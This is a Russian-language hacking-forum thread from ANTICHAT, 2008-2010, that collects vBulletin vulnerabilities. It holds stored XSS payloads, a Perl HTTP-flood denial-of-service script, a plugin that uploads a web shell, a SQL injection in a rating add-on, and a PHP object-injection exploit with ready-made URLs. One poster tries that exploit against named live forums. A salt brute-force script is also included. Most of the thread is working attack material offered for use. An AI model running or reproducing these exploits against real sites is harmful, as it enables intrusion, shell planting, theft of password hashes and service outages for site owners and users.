HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 14.12.2008, 12:14
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

HTML & XSS Code Execution
Выполнение произвольного HTML и XSS кода.
Должен быть установлен файл adminwarn.php, путь и права доступа к нему.
1. Заходим на http://site.com/forum/adminwarn.php?do=addstart&id=123456
Где 123456 - ID сообщения, где будет исполнятся код.
Текст предупреждения:
Код:
<script>alert('mailbrush H@CK3R')</script>
Потом заходим в тему, где есть сообщения, на ID которого мы ставили предупреждение, и видим алерт. Также можно вписать в Текст предупреждения, любой HTML код.

© mailbrush

Последний раз редактировалось mailbrush; 21.01.2009 в 22:01..
 
Ответить с цитированием

  #2  
Старый 21.01.2009, 22:15
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

HTML & XSS Code Execution x2

Что необходимо?
а) Доступ в админку
б) Прямые руки, соображение, минимальное знание инета и хтмл.


Как работает?
Уязвимость заключается в том, что поле "Заголовок" не фильтруется.


Начинаем
Заходим: Админка - Поля профиля участника - Добавить поле в профиле пользователя. (либо просто http://site.com/admincp/profilefield.php?do=add). Там выбираем: Тип поля профиля - Текстовое поле одной строчкой. Кликаем Далее. В поле заголовок вводим:
Код:
<script>alert('mailbrush H@CK3R)</script>
Кликаем Сохранить. После этого заходим:

а) Админка - Поля профиля участника - Управление полями профиля пользователя. (либо просто http://site.com/admincp/profilefield.php?do=modifycats) Потом выбираем наш Редактировать около нашего <script>alert('mailbrush H@CK3R)</script> (либо просто http://site.com/admincp/profilefield.php?do=edit&profilefieldid=xx, где xx - уникальный ИД, который присвоился полю после добавления), и вуаля - у нас алерт.
b) Панель Управления - Личные Данные (либо просто http://site.com/profile.php?do=editprofile), и вуаля - у нас алерт.


© mailbrush

Последний раз редактировалось mailbrush; 21.01.2009 в 22:17..
 
Ответить с цитированием

3.0.8 и Last
  #3  
Старый 03.05.2009, 15:55
Flame of Soul
Участник форума
Регистрация: 25.05.2007
Сообщений: 290
С нами: 9980798

Репутация: 435
Отправить сообщение для Flame of Soul с помощью MSN
По умолчанию 3.0.8 и Last

Из серии давно забыли:

vBulletin <= 3.0.8 Accessible Database Backup Searcher

exploits last.php

Файл 'last.php' является модулем стороннего разработчика. Стандартный дистрибутив приложения неуязвим.
 
Ответить с цитированием

  #4  
Старый 17.06.2009, 21:47
ph1l1ster
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
С нами: 9561436

Репутация: 462
По умолчанию

vBulletin® Version 3.8.2 Denial of Service Exploit


Код:
#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
########################################################################
# Modules                                                              #
########################################################################
use IO::SOCKET;           # Object interface                           #
########################################################################
if (@ARGV<1){
print"
########################################################################
## _                     _     _                   _                  ##
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_                ##
##|  _| -_| .'|     |___| |   |  _| -_|  _|   | -_|  _|               ##
##|_| |___|__,|_|_|_|   |_|_|_|_| |___|_| |_|_|___|_|                 ##
##                                                                    ##
########################################################################
########################################################################
##                                ##                                  ##
##->vBulletin® Version 3.8.2<-    ##                                  ##
##                                ##                                  ##
##Gebe diese Daten an             ##                                  ##
##1.Ziel                          ##[*] www.Ziel.com                  ##
##2.Board                         ##[*] vbulletin                     ##
##3.Verwundbarkeit                ##[*] forumdisplay.php?f=           ##
##4.Zeit des vorganges            ##[*] 9999999999999999              ##
##5.Port                          ##[*] 80                            ##
########################################################################
\a";}
$block = "
########################################################################";
$fehler = "Fehler!Fehler!Fehler!Fehler";
$x =0;
     print"$block\n";
     print q(Ziel->);
     chomp($ziel =<STDIN>);
     if ($ziel eq""){
     die "$fehler\a\n";}
     print"$block\n";
       print"$block\n";
       print q(Path->);
       chomp($path =<STDIN>);
       if ($path eq "") {
       die "$fehler !\a\n";}
       print"$block\n";
          print"$block\n";
          print "Verwundbarkeit\n";
          print"forumdisplay.php?f=\n";
          print"->"n;
            chomp($vul =<STDIN>);
            if ($vul eq "") {
            die "$fehler !\a\n";}
            print"$block\n";
               print"$block\n";
               print q(Time->);
               chomp($flood =<STDIN>);
               if ($flood eq "") {
               die "$fehler !\a\n";}
                  print"$block\n";
                  print"$block\n";
                  print q(Port->);
                  chomp($port =<STDIN>);
                  if ($port eq ""){
                  die "$fehler \n";}
                  print"$block\n";
                     print q(Send "start"->);
                     chomp($start =<STDIN>);
                     if ($start eq "") {
                     die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print "[*]Kontroliere Ziel   : $ziel\n";
print "[*]Kontroliere Board  : $path\n";
print "[*]Kontroliere Port   : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
                               PeerAddr => "$ziel",
                               PeerPort => "$port",
                               Proto => "tcp",
                              );

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT<-";
$x++;
}
}else{
die "Fehler kann nicht zum Ziel verbinden $ziel !\n";
}
 
Ответить с цитированием

  #5  
Старый 06.07.2009, 21:30
[underwater]
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами: 9010027

Репутация: 308
По умолчанию

Заливаем шелл[любая версия]



Плагины и Продукты -> Добавить новый плагин -> Во вкладке "Plugin PHP Code" пишем:
Код:
$target_path = "images/avatars"; //ваша директория, главное что бы чмод 777 стоял

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
    echo "The file ".  basename( $_FILES['uploadedfile']['name']).
    " has been uploaded";
} else{
    echo "There was an error uploading the file";
}
Устанавливаем плагин как активный, сохраняемся, и видим ошибку "No input File Specified". Все нормально.

Далее нам нужно место для загрузки:
Код:
<form enctype="multipart/form-data" action="ajax.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="hidden" name="s" value="$session[sessionhash]" />
<input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
<input type="submit" value="Upload File" />
</form>
Вставляем везде где разрешен хтмл, или редактируем шаблон и загружаем наш шелл)
 
Ответить с цитированием

Injection И новый баг с мнениями в vBulletin.
  #6  
Старый 14.10.2009, 16:06
ZARO
Познающий
Регистрация: 17.04.2009
Сообщений: 59
С нами: 8982831

Репутация: 37
По умолчанию Injection И новый баг с мнениями в vBulletin.

Баг пашет везде где установлен хак с мнениями, он заключен в редактированием post запроса. Пример - http://www.doneckforum.com/opinion.php. Что бы заюзать баг, нужно врубить tamper data, включить перехватку данных, затем нажать на форуме кнопку записать и затем вмешаться в запрос. Поле value отвечает за оценку которую Вы ставите, затем вводите туда любое число и жмете ок, опа мнение засчиталось! Этоже поле вообще не фильтруется, и там можно провести инъекцию типа
Код:
(if(substring(@@version,1,1)=5,777,666))
Если условие верно (substring(@@version,1,1)=5), то в оценку добавится +777, если же нет - +666. Кроме этого можно посимвольно вытаскивать любые данные из базы (в т.ч. хэш и соль пользователя).. баг нашел лично сам, жду спасибок.

Последний раз редактировалось ZARO; 14.10.2009 в 22:38..
 
Ответить с цитированием

  #7  
Старый 04.12.2009, 00:00
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
С нами: 10109126

Репутация: 1980
По умолчанию

VBulletin nulled <= 3.8.1 Arbitrary Function Execution

includes/class_core.php@3124:
PHP код:
class vB_Shutdown
{
    
/* ... */
    
function __destruct()
    {
        if (!empty(
$this->shutdown))
        {
            foreach (
$this->shutdown AS $key => $funcname)
            {
                
$funcname();
                unset(
$this->shutdown[$key]);
            }
        }
    }

forumdisplay.php@165:
PHP код:
if ($vbulletin->GPC['postvars'] != '')
{
    if ((
$check verify_client_string($vbulletin->GPC['postvars'])) !== false)
    {
        
$temp unserialize($check);
        
/* ... */
    
}

includes/functions.php@2211:
PHP код:
function verify_client_string($string$extra_entropy '')
{
    
/* ... */
    
$firstpart substr($string040);
    
$return substr($string40);
    
$decode false;
    
/* ... */

    
if (sha1($return sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
    {
        return (
$decode base64_decode($return) : $return);
    }

    return 
false;

В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения.

Эксплоит для выполнения phpinfo():
Код:
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}
Если непонятно как это работает, прошу сюда:
http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/
 
Ответить с цитированием

  #8  
Старый 04.12.2009, 00:23
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
С нами: 9419426

Репутация: 648
По умолчанию

Цитата:
Сообщение от [Raz0r]  
VBulletin nulled <= 3.8.1 Arbitrary Function Execution

includes/class_core.php@3124:
PHP код:
class vB_Shutdown
{
    
/* ... */
    
function __destruct()
    {
        if (!empty(
$this->shutdown))
        {
            foreach (
$this->shutdown AS $key => $funcname)
            {
                
$funcname();
                unset(
$this->shutdown[$key]);
            }
        }
    }

forumdisplay.php@165:
PHP код:
if ($vbulletin->GPC['postvars'] != '')
{
    if ((
$check verify_client_string($vbulletin->GPC['postvars'])) !== false)
    {
        
$temp unserialize($check);
        
/* ... */
    
}

includes/functions.php@2211:
PHP код:
function verify_client_string($string$extra_entropy '')
{
    
/* ... */
    
$firstpart substr($string040);
    
$return substr($string40);
    
$decode false;
    
/* ... */

    
if (sha1($return sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
    {
        return (
$decode base64_decode($return) : $return);
    }

    return 
false;

В нуленных версиях COOKIE_SALT равен пустой строке, это дает возможность манипулировать данными, которые попадают в unserialize(). Для выполнения произвольных функций необходимо передать в параметре postvars сериализованный объект класса vB_Shutdown, где в свойстве shutdown можно перечислять любые функции для выполнения.

Эксплоит для выполнения phpinfo():
Код:
/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}
Если непонятно как это работает, прошу сюда:
http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/

Потестил немного - на двух форумах фильтрации нет, но почему-то phpinfo() не отображается.
Получаю лишь раскрытие путей.
Вот пример с хеки))
Код:
http://forum.xeka.ru/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i:0;s:7:%22phpinfo%22;}}
Имеем:
Код:
Fatal error: Cannot use object of type vB_Shutdown as array in /home/xek/domains/xeka.ru/public_html/forum/forumdisplay.php on line 169


З.Ы.
Вот ещё мегаприватфорум:
Код:
http://boff.ws/forum/forumdisplay.php?f=2&do=doenterpwd&newforumpwd&postvars=6889b08fded154a6c1dae5987bc28aaaad754a2aO:11:%22vB_Shutdown%22:1:{s:8:%22shutdown%22;a:1:{i:0;s:7:%22phpinfo%22;}}
phpinfo() опять-таки не выполнилась, вот что пишет:
Код:
1||1259872978||||||||Error Opening Logfile.

Последний раз редактировалось Root-access; 04.12.2009 в 00:44..
 
Ответить с цитированием

  #9  
Старый 24.02.2010, 15:17
Soul Linker
Новичок
Регистрация: 05.09.2006
Сообщений: 15
С нами: 10358222

Репутация: 5
По умолчанию

Цитата:
Сообщение от Root-access  
...
Имеем:
Код:
Fatal error: Cannot use object of type vB_Shutdown as array in /home/xek/domains/xeka.ru/public_html/forum/forumdisplay.php on line 169
Потомучто там
Код:
$temp = unserialize($check);
if ($temp['do'] == 'doenterpwd')
{
	$vbulletin->GPC['postvars'] = '';
}
Соответственно переделываем сериализованную часть:
echo serialize(array('do'=>'do', 'obj' => new vB_Shutdown));
Код:
a:2:{s:2:"do";s:2:"do";s:3:"obj";O:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}}
но как с толком использовать вызов функции без параметров?

ps У нуленых by DGT 'COOKIE_SALT' не пустой.
pss, но вполне брутабельный.
Брутится исходя из куки "bbforum_view". Например
f544eb9368b8ac964d27534650bff240510eb278a-1-{i-3_i-1267278281_}
Первые 40 символов это хэш соленого сериал. массива:
Код:
$c = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_'; // 36 chars
//							20
$inp = intval(@$argv[1]);

$salt = 'VBF';

for ($a1 = $inp; $a1 <= 35; $a1++)
{
	$salt[3] = $c[$a1];
	for ($a2 = 0; $a2 <= 35; $a2++)
	{
		$salt[4] = $c[$a2];
		for ($a3 = 0; $a3 <= 35; $a3++)
		{
			$salt[5] = $c[$a3];
			for ($a4 = 0; $a4 <= 35; $a4++)
			{
				$salt[6] = $c[$a4];
				echo $salt."\n";
				for ($a5 = 0; $a5 <= 35; $a5++)
				{
					$salt[7] = $c[$a5];
					for ($a6 = 0; $a6 <= 35; $a6++)
					{
						$salt[8] = $c[$a6];
						for ($a7 = 0; $a7 <= 35; $a7++)
						{
							$salt[9] = $c[$a7];
							if (sha1('a-1-{i-3_i-1267278281_}' . sha1($salt) ) === 'f544eb9368b8ac964d27534650bff240510eb278')
								die('Found: '.$salt);
						}
					}
				}
			}
		}
	}
}
для большинства форумов 3.8.2 ~ 3.8.4 подходит:

Может сказать что не существует такого форума, тогда надо будет подшаманить ?f=26

http://site.com/forumdisplay.php?f=26&do=doenterpwd&newforumpwd=&p ostvars=efeba30e34b02bd0fcdb07795c42eaedad5bf111a: 2:{s:2:%22do%22;s:2:%22do%22;s:3:%22obj%22;O:11:%2 2vB_Shutdown%22:1:{s:8:%22shutdown%22;a:3:{i:0;s:7 :%22phpinfo%22;i:1;s:21:%22debug_print_backtrace%2 2;i:2;s:3:%22die%22;}}}

Никто так и не придумал как эту багу использовать то? :/

Последний раз редактировалось Soul Linker; 01.06.2010 в 12:50..
 
Ответить с цитированием

  #10  
Старый 04.12.2009, 12:06
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
С нами: 10109126

Репутация: 1980
По умолчанию

В первом примере наверно стоит suhosin patch, который не допускает выполнение деструктора после Fatal Error. Насчет второго, ошибка вообще небулковская
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
В ядре Linux появляется все больше уязвимостей dinar_007 Мировые новости. Обсуждения. 18 26.01.2007 16:21



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.